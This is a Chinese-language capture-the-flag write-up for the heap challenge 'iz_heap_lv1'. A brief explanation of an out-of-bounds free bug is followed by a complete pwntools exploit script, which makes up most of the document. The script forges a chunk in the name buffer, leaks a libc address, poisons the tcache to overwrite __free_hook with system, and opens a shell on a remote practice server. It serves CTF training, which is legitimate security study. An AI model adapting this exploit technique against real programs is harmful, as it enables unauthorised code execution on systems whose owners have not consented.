iz_heap_lv1
首先,检查一下程序的保护机制
然后,我们用IDA分析一下,delete功能里存在数组下标越界,可以free掉第21个堆指针,而第21个位置对应name的空间
因此,我们可以在name里伪造一个chunk,free掉以后后续利用即可。
#coding:utf8
from pwn import *
#sh = process('./iz_heap_lv1')
sh = remote('node3.buuoj.cn',29203)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
system_s = libc.sym['system']
fake_chunk = p64(0x0000000000602110) + p64(0x91)
fake_chunk += 'a'*0x80
fake_chunk += (p64(0) + p64(0x21) + 'a'*0x10)*2
sh.sendlineafter('name:',fake_chunk)
def add(size,content):
sh.sendlineafter('Choice:','1')
sh.sendlineafter('size:',str(size))
sh.sendafter('data:',content)
def edit(index,size,content):
sh.sendlineafter('Choice:','2')
sh.sendlineafter('index:',str(index))
sh.sendlineafter('size:',str(size))
sh.sendafter('data:',content)
def delete(index):
sh.sendlineafter('Choice:','3')
sh.sendlineafter('index:',str(index))
def show_name():
sh.sendlineafter('Choice:','4')
for i in range(7):
add(0x7F,'a'*0x10)
for i in range(7):
delete(i)
delete(20) #越界,free伪造的chunk
show_name()
sh.sendlineafter('edit:','Y')
sh.sendafter('name:','a'*0x10)
sh.recvuntil('a'*0x10)
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)
show_name()
sh.sendlineafter('edit:','Y')
sh.sendafter('name:',p64(0) + p64(0x91))
add(0x20,'a'*0x20)
delete(0)
show_name()
sh.sendlineafter('edit:','Y')
sh.sendafter('name:',p64(0) + p64(0x31) + p64(free_hook_addr))
add(0x20,'/bin/sh\x00')
add(0x20,p64(system_addr))
#getshell
delete(0)
sh.interactive()